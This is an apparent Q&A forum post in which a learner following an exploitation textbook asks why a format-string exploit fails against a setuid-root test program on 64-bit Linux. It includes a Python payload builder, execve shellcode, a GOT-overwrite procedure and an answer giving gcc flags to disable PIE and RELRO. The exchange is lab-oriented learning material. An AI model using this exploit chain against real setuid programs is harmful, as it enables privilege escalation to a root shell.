Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How to disable relro to overwrite fini_array or got.plt element

Tags:

c

linux

gcc

I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors with the address of a shellcode environment variable. I work on Kali Linux 64-bit and already found out that there are no dtors (destructors of a c program) and so now I try to overwrite the fini_array or the address of exit in ".got.plt" (I thought this would also work with the partial relro. So not being able to write into got.plt is my biggest problem I seek to get help with).

I already verified that the exploit writes the right address to the address given but when I run it with the address of fini_array or got.plt I get a SIGSEV or "Illegal instruction" error. After reading this I think the problem is that the partial relro won't let me overwrite fini_array since it makes fini_array among many others readonly. This is the python program I use to exploit the vuln program:

import struct
import sys

num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0

if len(sys.argv) > 1:
    num = int(sys.argv[1], 0)
    if len(sys.argv) > 2:
        test_val = int(sys.argv[2], 0)
        if len(sys.argv) > 3:
            num1 = int(sys.argv[3], 0)# - num
            if len(sys.argv) > 4:
                num2 = int(sys.argv[4], 0)# - num1 - num
                if len(sys.argv) > 5:
                    num3 = int(sys.argv[5], 0)# - num2 - num1 - num

addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6


vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))

def pad(s):
    return s+"X"*(1024-len(s)-32)

exploit = ""
prev_val = 0
for val, addr in vals:
    if not val:
        continue
    val_here = val - prev_val
    prev_val = val
    exploit += "%{}x".format(val_here)
    if addr == test_val:
        exploit += "%132$hn"
    elif addr == addr1:
        exploit += "%133$hn"
    elif addr == addr2:
        exploit += "%134$hn"
    elif addr == addr3:
        exploit += "%135$hn"
exploit = pad(exploit)

exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)

print pad(exploit)

When I pass the address of the shellcode environment variable and the address of fini_array obtained with

objdump -s -j .fini_array ./vuln

I just get a SegmentationFault.

It is also very strange that this happens as well when I try to overwrite an address in the .got.plt section which actually should not be affected by partial relro which means I should be able to write to it but in reality I can't. Moreover "ld --verbose ./vuln" shows this:

.dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .);
  .got.plt        : { *(.got.plt) *(.igot.plt) }

This is proof that .got.plt should not be readonly but why can I not write to it then?

Now my question is which workaround (maybe some gcc options) I could use to solve my problem. Even if it was not possible to actually overwrite .fini_array why do I have the same problem with .got.plt and how can I resolve it? I think that the problem I have with the .got.plt section might come from the fact that I am unable to execute the shellcode as it is part of the buffer. So are there any gcc options to make the buffer executable?

Here is vuln.c:

include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;

  fgets(text, sizeof(text), stdin);

  printf("The right way to print user-controlled input:\n");
  printf("%s\n", text);

  printf("The wrong way to print user-controlled input:\n");
  printf(text);

  printf("\n");

  printf("[*] test_val @ %p = %d 0x%08x\n", &test_val, test_val, test_val);
  exit(0);
}

I compile vuln.c with gcc 9.2.1 like this:

gcc -g -o vuln vuln.c
sudo chown root:root ./vuln
sudo chmod u+s ./vuln

This is the shellcode:

\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

I exported this as a binary into the SHELLCODE variable by copying the above hex into input.txt. Then run:

xxd -r -p input.txt output.bin

Now export it:

export SHELLCODE=$(cat output.bin)

The script getenv.c is used to get the address of Shellcode:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[]) {
  char *ptr;

  if (argc < 3) {
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]);
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
  printf("%s will be at %p\n", argv[1], ptr);
  return 0;
}

To use it run:

./getenvaddr SHELLCODE ./vuln

This tells you which address the SHELLCODE variable will have when you execute the vuln program. Last I find the address of the exit function in the global offset table by:

objdump -R ./vuln

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170
0000000000003df0 R_X86_64_RELATIVE  *ABS*+0x0000000000001130
0000000000004048 R_X86_64_RELATIVE  *ABS*+0x0000000000004048
0000000000003fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
0000000000003fe0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
0000000000004060 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000004018 R_X86_64_JUMP_SLOT  putchar@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

Here the address of exit would be 0x4038

Now I write the address of the shellcode let's say 0x7fffffffe5e5 to the address of the exit function 0x4038 so that the program should be redirected into a shell instead of exiting like this:

python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln

This is the underlying principle:

python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln
like image 467
ht332932 Avatar asked Oct 28 '25 07:10

ht332932


1 Answers

Relocations and low addresses like this one:

0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170

suggest that the executable has been built as PIE (position-independent executable), with full address space layout randomization (ASLR). This means that the addresses do not match the static view from objdump and are disable for each run.

Typically, building with gcc -no-pie disables ASLR. If you use gcc -no-pie -Wl,-z,norelro, you will disable (partial) RELRO as well.

like image 194
Florian Weimer Avatar answered Oct 29 '25 23:10

Florian Weimer



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!